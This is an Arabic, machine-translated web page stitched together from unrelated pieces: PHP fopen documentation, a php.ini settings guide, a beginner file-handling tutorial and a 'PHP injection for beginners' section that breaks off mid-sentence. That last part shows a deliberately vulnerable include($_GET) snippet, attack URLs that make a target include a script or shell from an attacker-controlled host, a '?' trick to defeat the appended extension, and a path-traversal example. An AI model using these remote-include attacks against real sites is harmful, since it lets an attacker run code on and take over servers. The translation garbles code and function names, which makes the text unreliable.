بيت / وحدات تحكم اللعبة / العمل مع الملفات في PHP: الفتح والكتابة والقراءة. هل يقوم PHP proc_open بحظر طلب الويب؟ معالجة الأخطاء والسجلات

العمل مع الملفات في PHP: الفتح والكتابة والقراءة. هل يقوم PHP proc_open بحظر طلب الويب؟ معالجة الأخطاء والسجلات

(بي إتش بي 4، بي إتش بي 5، بي إتش بي 7)

فوبن - يفتح ملفًا أو عنوان URL

وصف

الموارد com.fopen (سلسلة اسم الملف $ , وضع السلسلة $ [, منطقي $use_include_path = false [, المصدر $السياق ]])

فوبين ()يقوم بتعيين المورد المسمى المحدد في وسيطة اسم الملف إلى الدفق.

قائمة المعلمات

إذا تم تمرير اسم الملف بالصيغة "scheme://..."، فسيتم اعتباره عنوان URL وستبحث PHP عن معالج البروتوكول (المعروف أيضًا باسم "المجمّع") لهذا المخطط إذا لم يتم تعيين غلاف لملف البروتوكول، ستصدر PHP تحذيرًا لمساعدتك في تعقب مشكلة محتملة في البرنامج النصي الخاص بك ثم متابعة التنفيذ كما لو كان اسم الملف يشير إلى ملف عادي.

إذا قامت PHP بتعيين اسم الملف للإشارة إلى ملف محلي، فإنها تحاول فتح دفق لهذا الملف. يجب أن يكون الملف قابلاً للوصول بواسطة PHP، لذا يجب عليك التأكد من أن أذونات الملف تسمح بذلك. إذا قمت بتمكين الوضع الآمن أو open_basedir، فسيتم تطبيق المزيد من القيود.

إذا حددت PHP أن اسم الملف يشير إلى بروتوكول مسجل، وأن هذا البروتوكول مسجل كعنوان URL للشبكة، فإن PHP تتحقق من حالة التوجيهallow_url_fopen. إذا تم تعطيله، فسوف يصدر PHP تحذيرًا وسيفشل استدعاء fopen.

تعليق:

تتوفر قائمة بالبروتوكولات المدعومة في قسم البروتوكولات والمغلفات المدعومة. بعض البروتوكولات ( مغلفة) يدعم سياقو/أو خيارات php.ini. ارجع إلى صفحة البروتوكول المناسبة للحصول على قائمة بالخيارات التي يمكن ضبطها. (على سبيل المثال قيمة php.ini وكيل المستخدميستخدم بواسطة المجمع http).

على نظام التشغيل Windows، يجب عليك الهروب من جميع الخطوط المائلة العكسية في مسار الملف أو استخدام الخطوط المائلة للأمام.

$handle = fopen("c:\\folder\\resource.txt" , "r" );
?>

تحدد معلمة الوضع نوع الوصول الذي تطلبه من سلسلة المحادثات. يمكن أن يكون أحد الخيارات التالية:

قائمة الأوضاع الممكنة ل فوبين ()باستخدام الوضع
وضع وصف
"ص" يفتح الملف للقراءة فقط؛ يضع المؤشر في بداية الملف.
"ص+" يفتح ملفا للقراءة والكتابة. يضع المؤشر في بداية الملف.
"ث" يفتح الملف للكتابة فقط؛ يضع مؤشرًا في بداية الملف ويقتطع الملف إلى طول صفر. إذا كان الملف غير موجود، فإنه يحاول إنشائه.
"ث+" يفتح ملفا للقراءة والكتابة. يضع مؤشرًا في بداية الملف ويقتطع الملف إلى طول صفر. إذا كان الملف غير موجود، فإنه يحاول إنشائه.
"أ" يفتح الملف للكتابة فقط؛ يضع المؤشر في نهاية الملف. إذا كان الملف غير موجود، فإنه يحاول إنشائه.
"أ+" يفتح ملفا للقراءة والكتابة. يضع المؤشر في نهاية الملف. إذا كان الملف غير موجود، فإنه يحاول إنشائه.
"س" يخلق ويفتح للكتابة فقط؛ يضع المؤشر في بداية الملف. إذا كان الملف موجودا بالفعل، اتصل فوبين ()تنتهي بالفشل، سوف تعود خطأ شنيعوسوف تعطي خطأ في المستوى تحذير إلكتروني. إذا كان الملف غير موجود، فسيحاول إنشائه. وهذا يعادل تحديد الأعلام O_EXCL|O_CREATلاستدعاء النظام الداخلي مفتوح(2).
"س+" يخلق ويفتح للقراءة والكتابة؛ خلاف ذلك لديه نفس السلوك كما "س".
"ج" يفتح الملف للكتابة فقط. إذا لم يكن الملف موجودا، يتم إنشاؤه. "ث"إذا كان الملف موجودًا، فلن يتم اقتطاعه (على عكس "س")، واستدعاء هذه الوظيفة لا يسبب خطأ (كما هو الحال مع ). سيتم تعيين مؤشر الملف على بداية الملف. يمكن أن يكون هذا مفيدًا إذا كنت تريد قفل ملف (انظرقطيع() "ث") قبل التغيير، منذ الاستخدام يمكن اقتطاع الملف قبل الحصول على القفل (إذا كنت ترغب في اقتطاع الملف، يمكنك استخدام الوظيفةفترونكات ()
بعد طلب الحظر). "ج+" "ج".

تعليق:

يفتح ملفا للقراءة والكتابة. خلاف ذلك لديه نفس السلوك كما لدى العائلات المختلفة لأنظمة التشغيل اتفاقيات مختلفة فيما يتعلق بنهايات الأسطر. عندما تكتب نصًا وتريد إدراج فاصل أسطر، يجب عليك استخدام الأحرف (أو الرمز) الصحيح لخطكنظام التشغيل . استخدام أنظمة عائلة يونكسكنهاية حرف السطر، النظامعائلة ويندوز يستخدمكما تستخدم أحرف نهاية السطر وأنظمة ماكنتوش \ صكنهاية حرف السطر.

إذا استخدمت حرف نهاية سطر خاطئ عند تحرير الملفات، فقد تجد أن هذه الملفات تبدو "غريبة" عند فتحها.

يقدم Windows علامة وضع بث النص ( "ر")، والتي ستتم ترجمتها تلقائيًا . استخدام أنظمة عائلة يونكسالخامس يستخدمأثناء العمل مع الملف. والعكس صحيح - يمكنك أيضًا استخدامه "ب"لفرض الوضع الثنائي، والذي لن يقوم بتحويل بياناتك. لاستخدام هذه الأوضاع، حدد "ب"أو "ر"الحرف الأخير من معلمة الوضع.

نظرًا لأن إعداد علامة الترجمة الافتراضية يعتمد على إصدار SAPI وPHP المستخدم، نوصي بتعيين العلامة المحددة بشكل صريح لأسباب تتعلق بقابلية النقل. يجب عليك استخدام الوضع "ر"إذا كنت تعمل مع ملف نصيوالاستخدام . استخدام أنظمة عائلة يونكسلوضع علامة على نهاية السطر في البرنامج النصي الخاص بك دون القلق بشأن إمكانية قراءة ملفاتك في تطبيقات أخرى مثل المفكرة. وفي جميع الحالات الأخرى، استخدم العلم "ب".

إذا لم تحدد العلامة "b" بشكل صريح عند العمل مع الملفات الثنائية، فقد تواجه تلفًا غريبًا في بياناتك، بما في ذلك ملفات الصور التالفة ومشاكل الرموز الغريبة يستخدم.

تعليق:

لأسباب تتعلق بقابلية النقل، يوصى بشدة باستخدام العلامة "b" دائمًا عند فتح الملفات باستخدام فوبين () .

تعليق:

بالإضافة إلى ذلك، ولأسباب تتعلق بقابلية النقل، يوصى بشدة أيضًا بإعادة كتابة التعليمات البرمجية القديمة التي تعتمد على "ر"بحيث يستخدم نهايات الأسطر والوضع المناسب بدلاً من ذلك "ب".

use_include_path

يمكن تعيين المعلمة الثالثة الاختيارية use_include_path على "1" أو حقيقيإذا كنت تريد أيضًا البحث عن ملف في include_path .

سياق

تعليق: تمت إضافة دعم السياق في PHP 5.0.0. للوصف السياقاتراجع قسم التدفقات.

إرجاع القيم

إرجاع مؤشر إلى الملف إذا نجح، أو خطأ شنيعفي حالة الخطأ.

أخطاء

إذا تعذر فتح الملف، فسيتم إنشاء خطأ في المستوى تحذير إلكتروني. يمكنك استخدام عامل التشغيل لمنع هذا الخطأ.

قائمة التغييرات

أمثلة

المثال رقم 1 أمثلة للاستخدام فوبين ()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" );
مقبض $ = فوبن ( "فتب://المستخدم: [البريد الإلكتروني محمي]/somefile.txt"، "ث")؛
?>

ملحوظات

انتباه

عند استخدام SSL، يقوم Microsoft IIS بكسر البروتوكول عن طريق إغلاق الاتصال دون إرسال مؤشر Close_notify. ستقوم PHP بالإبلاغ عن هذا كـ "SSL: خطأ بروتوكول فادح" لحظة وصولك إلى نهاية البيانات. للتغلب على هذه المشكلة، يجب عليك تعيين error_reporting على مستوى يستبعد E_WARNING. يمكن لإصدارات PHP 4.3.7 والإصدارات الأقدم اكتشاف وجود مشكلة في IIS على جانب الخادم عند فتح دفق باستخدام برنامج تضمين https://ولا يعرض تحذيرا. إذا كنت تستخدم fsockopen()من أجل خلق سل: //مأخذ التوصيل، تقع على عاتقك مسؤولية اكتشاف هذا التحذير وقمعه.

تعليق: عند تمكين خيار الوضع الآمن، تتحقق PHP مما إذا كان الدليل الذي أنت على وشك العمل معه يحتوي على نفس UID (المالك) مثل البرنامج النصي الذي يتم تنفيذه.

تعليق:

إذا واجهت مشاكل أثناء قراءة الملفات أو كتابتها وكنت تستخدم PHP كوحدة خادم، فتأكد من أن عملية الخادم لديها حق الوصول إلى الملفات والأدلة التي تستخدمها.

تعليق:

قد تنجح هذه الوظيفة أيضًا إذا كان اسم الملف دليلاً. إذا لم تكن متأكدًا مما إذا كان اسم الملف ملفًا أم دليلاً، فأنت بحاجة إلى استخدام الوظيفة is_dir()، قبل المكالمة فوبين () .

يعتمد موقع ملف php.ini على نظام التشغيل الذي يعمل عليه خادم موفر الاستضافة. لمعرفة مكانه، اتبع 4 خطوات بسيطة:

  1. أنشئ ملف php (يمكن أن يكون الاسم أي شيء، ولكننا نأخذ myphpinfo.php كمثال)، وأضف إليه الأسطر التالية:
  2. قم بتحميل هذا الملف إلى الخادم الذي يوجد به موقعك (في المجلد الجذر).
  3. نبدأ من خلال المتصفح (أدخل عنوان URL https://yoursitename.com/myphpinfo.php).
  4. في النافذة التي تظهر، ابحث عن المسار إلى php.ini (انظر أولاً إلى "ملف التكوين المحمل"، إذا كان يقول "لا شيء"، ثم انظر إلى "مسار ملف التكوين (php.ini)").

كيفية تكوين php.ini؟

يحتوي ملف php.ini على قواعد بناء الجملة التالية "directive = value". إذا كنت ترغب في إضافة تعليقات (على سبيل المثال، تشير فيها إلى ما يؤثر هذا الإعداد)، ثم قم بذلك بعد الفاصلة المنقوطة (كل ما يأتي بعد هذه العلامة لا يعتبر أمراً). هنا مثال:

max_execution_time = 40 ؛ الحد الأقصى لعدد الثواني لتنفيذ البرنامج النصي

الاعدادات العامة

PHPengine = تشغيل ; تم تمكين البرامج النصية PHP.

Short_open_tag = قيد التشغيل؛ يسمح بتأطير مبسط لكود PHP مع العلامات

Asp_tags = قيد التشغيل؛ تمكين القدرة على تمييز كود PHP، كما هو الحال في ASP -<% %>

الدقة = 12؛ يحدد عدد الأرقام التي ستكون بعد العلامة العشرية لأرقام الفاصلة العائمة.

Output_buffering = 4096 ; سيتم تمكين التخزين المؤقت للإخراج تلقائيًا، مع تحديد حجم المخزن المؤقت بعد "يساوي".

Safe_mode = قيد التشغيل؛ الوضع الآمن.

Safe_mode_allowed_env_vars = PHP_ ; يسمح للمستخدم بالعمل فقط مع متغيرات البيئة التي تبدأ بـ PHP_. إذا كان هذا التوجيه فارغًا (لن يكون له أي قيمة)، فسيتمكن المستخدمون من تغيير أي متغيرات البيئة. يمكن أن يكون هذا ضارًا جدًا بأمان البرنامج النصي.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH؛ يحظر تغيير المتغيرات المدرجة مفصولة بفواصل.

Disable_functions = ; بعد علامة المساواة، تحتاج إلى كتابة الوظائف التي تريد تعطيلها، مفصولة بفواصل (عادة ما يتم ذلك للأمان)

Disable_classes = ; بعد علامة "المساواة"، تحتاج إلى كتابة، مفصولة بفواصل، الفئات التي تريد حظر الاتصال بها (عادةً ما يتم ذلك من أجل الأمان)

محدودية الموارد

max_execution_time = 40 ؛ الحد الأقصى لوقت تنفيذ البرنامج النصي (بالثواني)

Max_input_time = 40؛ الحد الأقصى للوقت بالثواني الذي يتم منحه للبرنامج النصي لمعالجة البيانات التي يتم تحميلها.

حد الذاكرة = 16 ميجا؛ الحد الأقصى للذاكرة المخصصة لبرنامج نصي واحد

معالجة الأخطاء والسجلات

error_reporting = E_ALL | خطأ | تحذير إلكتروني | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE؛ يحدد قائمة الأخطاء التي يمكن عرضها.

Display_errors = On; يسمح بعرض الأخطاء مباشرة في المتصفح (غالبًا ما يستخدم لسهولة تصحيح الأخطاء).

Display_startup_errors = قيد التشغيل؛ يُسمح بإظهار الأخطاء التي تظهر أثناء بدء تشغيل PHP.

Log_errors = قيد التشغيل؛ يُسمح بكتابة الأخطاء في ملف السجل.

Log_errors_max_len = 1024 ; الحد الأقصى لعدد الأحرف التي يمكن أن يصل إليها طول السجل.

Track_errors = قيد التشغيل؛ سيتم تخزين أحدث رسائل الخطأ في المتغير $php_errormsg

Html_errors = قيد التشغيل؛ السماح بعرض رسائل الخطأ بتنسيق HTML.

Error_log = اسم الملف؛ يحدد اسم سجل الأخطاء.

معالجة البيانات

variables_order = "EGPCS" ; يضبط الترتيب الذي ستسجل به PHP المتغيرات (E - المتغيرات المضمنة، G - متغيرات GET، P - متغيرات POST، C - ملفات تعريف الارتباط، S - الجلسات). إذا قمت بإزالة أي من الحروف، فسيتم حظر تشغيل المتغيرات المقابلة.

Register_globals = قيد التشغيل؛ تمكين القدرة على التعامل مع المتغيرات التي تأتي عبر GET/POST/Cookie/session كمتغيرات عادية (على سبيل المثال "$variablename").

Register_argc_argv = قيد التشغيل؛ يُسمح بإنشاء متغيرات $argv و $argc بناءً على معلومات من طريقة GET.

Post_max_size = 8M؛ يضبط الحد الأقصى لكمية البيانات التي يمكن تلقيها.

Magic_quotes_gpc = قيد التشغيل؛ تمكين المعالجة التلقائية لعروض الأسعار المستلمة عبر POST/GET/Cookie.

Auto_prepend_file = ; يجب معالجة محتويات الملفات المحددة في هذه التوجيهات وفقًا لذلك بواسطة PHP قبل تنفيذ البرنامج النصي
auto_append_file = ; يجب معالجة محتويات الملفات المحددة في هذه التوجيهات وفقًا لذلك بواسطة PHP بعد تنفيذ البرنامج النصي.

Default_mimetype = "نص/html" ؛ يضبط الترميز لنوع المحتوى. افتراضيًا، سيتم استخدام النص/html دون تحديد الترميز

Doc_root = ; يضبط المجلد الجذر لبرامج PHP النصية.

Extension_dir = "./" ; يحدد المجلد الذي سيتم فيه تخزين الملحقات المحملة ديناميكيًا.

تحميل الملفات

file_uploads = قيد التشغيل؛ يسمح بتحميل الملفات إلى الخادم.

Upload_tmp_dir = ; دليل مؤقت للملفات التي سيتم تنزيلها.

Upload_max_filesize = 2M ; يضبط الحد الأقصى لحجم الملف الذي يمكن تحميله.

العمل مع المقابس

user_agent = "PHP" ; يتم تعيين المتغير USER_AGENT عند حدوث اتصال مأخذ توصيل.

Default_socket_timeout = 30 ; الحد الأقصى لوقت الاستماع على المقبس (ثواني).

الجلسات

session.save_handler = files; يحدد أنه يجب تخزين معلومات الجلسة في الملفات

session.save_path = /tmp ; بعد علامة المساواة، تحتاج إلى تحديد المسار إلى المجلد الذي سيتم تخزين المعلومات حول الجلسات فيه (من المهم أن يكون المجلد موجودًا بالفعل)

session.use_cookies = 1 ; يسمح باستخدام ملفات تعريف الارتباط في الجلسات

اسم الجلسة = PHPSESSID ; يشير إلى استخدام معرف الجلسة كاسم الجلسة وملفات تعريف ارتباط الجلسة

session.cookie_lifetime = 0 ; عمر الجلسة ("0" يعني أن الجلسة تستمر حتى يتم إغلاق نافذة المتصفح)

session.use_trans_sid = 1 ; إذا قام المستخدم بتعطيل ملفات تعريف الارتباط، فسيتم إضافة معرف الجلسة إلى جميع الروابط

الامتدادات الديناميكية

ملحق=modulename.extension ; يمكن استخدامها لتحميل الوحدات الخارجية. بالنسبة لأنظمة Windows، عادةً ما يكتبون الامتداد = msql.dll و for
يونيكس - الامتداد = msql.so

العمل مع وحدات MySQL

mysql.allow_persistent = قيد التشغيل؛ يسمح باتصالات MySQL مستقرة.

Mysql.max_persistent = -1 ; يضبط الحد الأقصى لعدد اتصالات MySQL المستقرة. إذا قمت بتحديد -1، فهذا يعني أنه لا توجد قيود.

Mysql.max_links = -1 ; يضبط الحد الأقصى لعدد اتصالات MySQL المستقرة واتصالات ODBC غير المستقرة. إذا قمت بتحديد -1، فهذا يعني أنه لا توجد قيود.

Mysql.default_port = ; منفذ لوظيفة mysql_connect.

Mysql.default_socket = ; اسم المقبس لاتصالات MySQL المحلية.

Mysql.default_host = ; اسم المضيف لوظيفة mysql_connect.

Mysql.default_user = ; اسم المستخدم.

Mysql.default_password = ; كلمة المرور.

إذا قمت بإنشاء ملف php.ini الخاص بك ووضعته في مجلد الموقع

في هذه الحالة، ولأسباب أمنية، تحتاج إلى حظر الوصول إليه للجميع باستثناءك. للقيام بذلك، تحتاج إلى كتابة التعليمات البرمجية التالية في ملف .htaccess:


السماح بالأمر، الرفض
رفض من الجميع

لكن كن حذرا، لأن... باستخدام هذه الإعدادات، ستتوقف جميع التوجيهات (php_value، php_flag، وما إلى ذلك) المتعلقة بإعدادات php من خلال ملف htaccess عن العمل (سيتم عرض 500 خطأ داخلي في الخادم).

مهم! إذا قمت بإنشاء ملف php.ini الخاص بك، فسيؤثر ذلك فقط على الدليل الموجود فيه.

الموارد com.fopen(اسم ملف السلسلة، وضع السلسلة [، bool use_include_path [، المورد zcontext]])

فوبين ()يقوم بتعيين المورد المسمى المحدد في وسيطة اسم الملف إلى الدفق. إذا تم تمرير اسم الملف بالصيغة "scheme://..."، فسيتم اعتباره عنوان URL وستبحث PHP عن معالج البروتوكول (المعروف أيضًا باسم "المجمّع") لهذا المخطط إذا لم يتم تعيين غلاف لملف البروتوكول، ستصدر PHP ملاحظة لمساعدتك في تعقب مشكلة محتملة في البرنامج النصي الخاص بك وستستمر في التنفيذ كما لو كان اسم الملف يشير إلى ملف عادي.

إذا قررت PHP أن اسم الملف يشير إلى ملف محلي، فسوف تحاول فتح دفق لهذا الملف. يجب أن يكون الملف قابلاً للوصول بواسطة PHP، لذا يجب عليك التأكد من أن أذونات الملف تسمح بذلك. إذا قمت بتمكين الوضع الآمن أو open_basedir، فسيتم تطبيق المزيد من القيود.

إذا قررت PHP أن اسم الملف يشير إلى بروتوكول مسجل وأن هذا البروتوكول مسجل كعنوان URL للشبكة، فسوف تتحقق PHP من حالة التوجيهallow_url_fopen. إذا تم تعطيله، فسوف يصدر PHP تحذيرًا وسيفشل استدعاء fopen.

تعليق:تدعم بعض البروتوكولات السياق و/أو خيارات php.ini. ارجع إلى صفحة البروتوكول المناسبة للحصول على قائمة بالخيارات التي يمكن ضبطها. (على سبيل المثال، يتم استخدام قيمة php.ini user_agent بواسطة غلاف http). للحصول على وصف للسياقات ومعلمات zcontext، راجع قسم وظائف الدفق.

تعليق:تمت إضافة دعم السياق في PHP 5.0.0.

تعليق:اعتبارًا من PHP 4.3.2، أصبح الوضع الثنائي هو الوضع الافتراضي لجميع الأنظمة الأساسية التي تميز بين الوضع الثنائي والنص. إذا كنت تواجه مشكلات بعد الترقية، فحاول استخدام العلامة "t" كحل بديل حتى تقوم بتغيير البرامج النصية الخاصة بك لتحقيق إمكانية نقل أكبر، كما هو مذكور أعلاه.

تحدد معلمة الوضع نوع الوصول الذي تطلبه من سلسلة المحادثات. قد يكون واحدًا مما يلي:

إذا تعذر فتح الملف، ستعود الوظيفة خطأ شنيعوسوف تولد خطأ في المستوى تحذير إلكتروني. يمكنك استخدام هذا لمنع هذا التحذير.


مثال 1. أمثلة على استخدام الوظيفة فوبين ()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" );
مقبض $ = فوبن ( "فتب://المستخدم: [البريد الإلكتروني محمي]/somefile.txt"، "ث")؛
?>

إذا كنت تواجه مشاكل أثناء قراءة الملفات أو كتابتها وكنت تستخدم PHP كوحدة خادم، فتأكد من أن عملية الخادم لديها حق الوصول إلى الملفات والأدلة التي تستخدمها.

16.5 ألف

في الواقع، كيفية فتح ملف PHP ليست مشكلة كبيرة. قد يكون من الصعب فتح زجاجة بيرة عندما تكون في وسط الغابة. لكن المبرمجين المتحمسين فقط هم من يفكرون بهذه الطريقة. وبالنسبة للمبتدئين، سنخبرك بجميع إمكانيات PHP للعمل مع الملفات:

ملفات PHP

تحتوي الملفات ذات ملحق php على تعليمات برمجية مكتوبة بلغة البرمجة التي تحمل الاسم نفسه. على عكس اللغات الأخرى، PHP هي لغة برمجة من جانب الخادم. أي أنه يعمل على جانب الخادم. ولذلك، لتصحيح التعليمات البرمجية الخاصة به، يجب تثبيت خادم محلي على جهاز العميل.

للعمل مع ملفات PHP، يتم استخدام تطبيقات خاصة - محرري البرامج. الأكثر شيوعا هي:

  • دريمويفر.
  • تحرير PHP.
  • تطوير PHP الكسوف.
عند إنشاء مواقع ويب تعتمد على لغة PHP، قد تحتاج إلى إعادة استخدام كود البرنامج. في مثل هذه الحالات، يكون من المناسب توصيل الحلول الجاهزة الموجودة في ملف آخر. يتم استخدام بناء التضمين لهذا الغرض. بناء الجملة الخاص به هو:

تضمين اسم الملف

مثال الاتصال:

الملف المتضمن:


من الممكن أيضًا تضمين ملف باستخدام البنية المطلوبة. على عكس التضمين، فهو يتضمن الملف قبل تنفيذ كود البرنامج. باستخدام يتطلب في التعليمات البرمجية، استدعاء واحد فقط لهذا الملف ممكن. عند الوصول مرة أخرى، سيعرض النظام رسالة خطأ عامة ويوقف تنفيذ البرنامج.

تتضمن بنية التضمين المصدر فقط أثناء تنفيذ البرنامج. وهو يدعم القراءة المتعددة لملف PHP. في حالة حدوث خطأ، سيتم عرض رسالة تحذير فقط، وسيستمر تنفيذ التعليمات البرمجية من السطر التالي.

فتح وإغلاق الملفات

في PHP، يتم تنفيذ جميع العمليات مع الملفات على عدة مراحل:

  • فتح ملف؛
  • تحرير المحتوى؛
  • إغلاق الملف.

يتم استخدام الدالة fopen() لفتح ملف. بناء الجملة الخاص به هو:

int fopen (اسم ملف السلسلة، وضع السلسلة [، int use_include_path])

الحجج المقبولة:

  • اسم ملف السلسلة - اسم الملف أو المسار المطلق إليه. إذا لم يتم تحديد المسار إلى الملف، فسيتم البحث عنه في الدليل الحالي. إذا كان الملف الذي تبحث عنه مفقودًا، فسيعرض النظام رسالة خطأ. مثال:

  • وضع السلسلة - يشير إلى وضع فتح الملف. القيم المقبولة بواسطة الوسيطة:
  • r – يتم فتح الملف للقراءة فقط، ويتم وضع مؤشر الملف في البداية؛
  • r+ – الملف مفتوح للقراءة والكتابة؛
  • ث – إنشاء ملف جديد للكتابة فقط. إذا كان الملف الذي يحمل نفس الاسم موجودًا بالفعل، فسيتم حذف جميع البيانات الموجودة فيه تلقائيًا؛
  • w+ - يقوم بإنشاء ملف جديد للكتابة والقراءة. عند وجود مثل هذا الملف، يتم استبدال بياناته بالكامل ببيانات جديدة؛
  • أ – الملف مفتوح للكتابة . يتم وضع المؤشر في النهاية. أي أن الكتابة إلى ملف php لن تبدأ من البداية، بل من النهاية؛
  • أ+ - فتح ملف في وضع القراءة والكتابة. سيبدأ التسجيل من النهاية؛
  • ب – طريقة العمل مع ملف يحتوي على بيانات ثنائية (في نظام الأرقام الثنائية). هذا الوضع متاح فقط على نظام التشغيل Windows.

لإغلاق الوصول إلى ملف، استخدم الدالة fClose(). بناء الجملة:

int fclose (ملف int)، حيث يكون ملف int بمثابة مؤشر للموقع لإغلاقه.

بعد كل قراءة أو كتابة، يجب إغلاق الملف بهذه الوظيفة. وبخلاف ذلك، يظل الدفق الذي تم إنشاؤه للملف مفتوحًا. وهذا يؤدي إلى استهلاك غير ضروري لسعة الخادم.

مثال:

قراءة وكتابة الملفات

لعرض محتويات الملف بالكامل ببساطة، تعتبر الدالة readfile()‎ مثالية. بناء الجملة الخاص به هو:

readfile (اسم ملف السلسلة)، حيث اسم ملف السلسلة هو اسم ملف السلسلة (وليس مقبضًا).


يمكن قراءة نفس الملف باستخدام الدالة fpassthru(). يقرأ البيانات من موضع مؤشر النهاية إلى نهاية الملف. بناء الجملة الخاص به هو:

int fpassthru (ملف int)

تتطلب الوظيفة فتح وإغلاق ملف. مثال:

والنتيجة مشابهة للنتيجة السابقة.

تتيح لك وظائف العمل مع الملفات في PHP قراءة المحتوى سطرًا تلو الآخر وحرفًا تلو الآخر:

  • سلسلة fgets (ملف int، طول int)- تقوم الدالة بقراءة سلسلة من الطول length . مثال:

  • عدوى السلسلة (ملف int، طول int)- الإجراء مطابق للإجراء السابق.

لكتابة بيانات نصية إلى ملف، هناك وظيفتان متطابقتان:

  • int fputs (ملف int، سلسلة سلسلة [، int length])
  • int fwrite (ملف int، سلسلة سلسلة [، طول int])

تكتب الوظائف إلى ملف int file سلسلة سلسلة بالطول المحدد int length ( حجة اختيارية). مثال:

إنشاء وحذف الملفات

لإنشاء ملف PHP، يمكنك استخدام الدالة fopen() في وضع الوصول "w" أو "w+". أو وظيفة اللمس (). يحدد وقت تعديل الملف. إذا لم يكن هناك عنصر بالاسم الذي تم البحث عنه، فسيتم إنشاؤه. بناء الجملة.

أساسيات حقن PHP للمبتدئين.​


حقن PHP(حقن PHP) - حول إحدى طرق اختراق مواقع الويب التي تعمل على PHP هي تنفيذ تعليمات برمجية أجنبية على جانب الخادم.الوظائف التي يحتمل أن تكون خطرة هي:
تقييم ()،
preg_replace() (مع المُعدِّل "e")،
مطلوب()،
include_once(),
يشمل()،
يتطلب()،
create_function().

يصبح حقن PHP ممكنًا إذا تم قبول معلمات الإدخال واستخدامها دون التحقق من الصحة.

انقر فوق لتوسيع...

(ج) ويكي


الأساسيات.​

حقن بي اتش بي- هذا شكل من أشكال الهجوم على موقع الويب عندما يقوم المهاجم بإدخال كود PHP الخاص به في تطبيق PHP الذي تمت مهاجمته.
إذا نجح الحقن، فيمكن للمهاجم تنفيذ تعليمات برمجية PHP تعسفية (يحتمل أن تكون خطيرة) على الخادم الهدف. على سبيل المثال، ملء القشرة. لكن أولاً، دعونا نناقش بالتفصيل كيف يحدث هذا.

على سبيل المثال:
لنتخيل أن لدينا موقع ويب مكتوبًا بلغة PHP.
لنتخيل أيضًا أن الموقع يستخدم الأمر page=page.htmlلعرض الصفحة المطلوبة.
سيبدو الكود كالتالي:

$file = $_GET ["صفحة" ]; //الصفحة المعروضة
تشمل(ملف $);
?>

وهذا يعني أن كل ما يتم عرضه على الصفحة سيتم تضمينه في كود PHP لتلك الصفحة. لذلك، يمكن للمهاجم أن يفعل شيئًا مثل:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

إذا نظرنا إلى ما يحدث بعد تنفيذ التضمين، فسنرى الكود التالي يتم تنفيذه على الخادم الهدف:

ملف $= "http://www.attack_server.com/malicious_script.txt؟"; //$_GET["صفحة"];
تشمل(ملف $); //$file هو برنامج نصي تم إدخاله بواسطة مهاجم
?>

نرى أن المهاجم قد نجح في مهاجمة الخادم المستهدف.

المزيد من التفاصيل:
إذًا، لماذا تمكن المهاجم من إجراء عملية حقن PHP؟
كل ذلك بسبب الوظيفة يشمل() يسمح لك بتشغيل الملفات البعيدة.

لماذا تم تحديد البرنامج النصي بالامتداد في المثال *.رسالة قصيرة ، لكن لا *.بي أتش بي ?
الجواب بسيط، إذا كان البرنامج النصي بالتنسيق *.بي أتش بي سيتم تشغيله على خادم المهاجم وليس على النظام المستهدف.

تمت إضافة الرمز "" أيضًا ? " في مسار البرنامج النصي الذي تم إدخاله لإزالة أي شيء داخل الوظيفة يشمل() على الخادم الهدف.
مثال:

$file = $_GET ["صفحة" ];
include($file . ".php" );
?>

يضيف هذا البرنامج النصي الامتداد *.بي أتش بي إلى أي شيء يدعوه الأمر يشمل() .
أولئك.

http: //www.attack_server.com/malicious_script.txt

تحول الى

http: //www.attack_server.com/malicious_script.txt.php

لن يتم تشغيل البرنامج النصي بهذا الاسم (الملف غير موجود على خادم المهاجم /malicious_script.txt.php)
لهذا السبب نضيف "؟" إلى نهاية المسار إلى البرنامج النصي الضار:

http: //www.attack_server.com/malicious_script.txt?.php

لكنها تظل قابلة للتنفيذ.

إجراء عمليات حقن PHP من خلال ثغرة وظيفة include().​

RFI - التضمين عن بعد أثناء حقن PHP


تعد القدرة على إجراء RFI خطأ شائعًا إلى حد ما في المحركات.
يمكنك العثور عليه على النحو التالي:
لنفترض أننا صادفنا عن طريق الخطأ صفحة تنتهي بهذا الشكل في شريط عنوان المتصفح:

/فِهرِس. بي أتش بي؟ الصفحة = الرئيسية

نحن نعوض بدلا من ذلك رئيسيأي معنى الوهمية، على سبيل المثال upyachka

/فِهرِس. بي أتش بي؟ الصفحة = upyachka

ردا على ذلك سوف نتلقى خطأ:

تحذير: رئيسي (upyachka.php): فشل في فتح الدفق: لا يوجد مثل هذا الملف أو الدليل في / home / user / www //page.php على السطر 3

تحذير: رئيسي (upyachka.php): فشل في فتح الدفق: لا يوجد مثل هذا الملف أو الدليل في / الصفحة الرئيسية / المستخدم / www / الصفحة. php على السطر 3

تحذير: main (): فشل فتح "upyachka.php" للتضمين (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") في /home/user/www/page. php على السطر 3

وهذا يبين لنا أن الإدماج أمر ممكن.
دعونا نحاول استبدال upyachkaالموقع مع المسار إلى الصدفة (يجب عدم تحديد امتداد ملف الصدفة أو الإشارة إليه كما هو موضح أعلاه)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

هذه هي الطريقة التي يتم بها الحصول على القشرة. أنت الآن بحاجة إلى إبلاغ مسؤول الموقع بالثغرة الأمنية حتى يتمكن من إصلاحها حتى لا يستغل الأشرار الخطأ.

LFI - تضمين محلي لحقن PHP


لنتخيل أننا صادفنا نفس الموقع الضعيف

/فِهرِس. بي أتش بي؟ file=main

مع الكود

..
تضمين ("مجلد/$page .htm")؛

?>

هذا بالفعل إدراج محلي. في هذه الحالة، يمكن إدراج الملف فقط:

/فِهرِس. بي أتش بي؟ الصفحة =../ الفهرس . بي أتش بي

في الحالة التالية، يبدو الرمز كما يلي:

..
تضمين("$dir1/folder/page.php");

?>

في هذه الحالة، يمكنك كتابة المسار إلى الصدفة على النحو التالي:
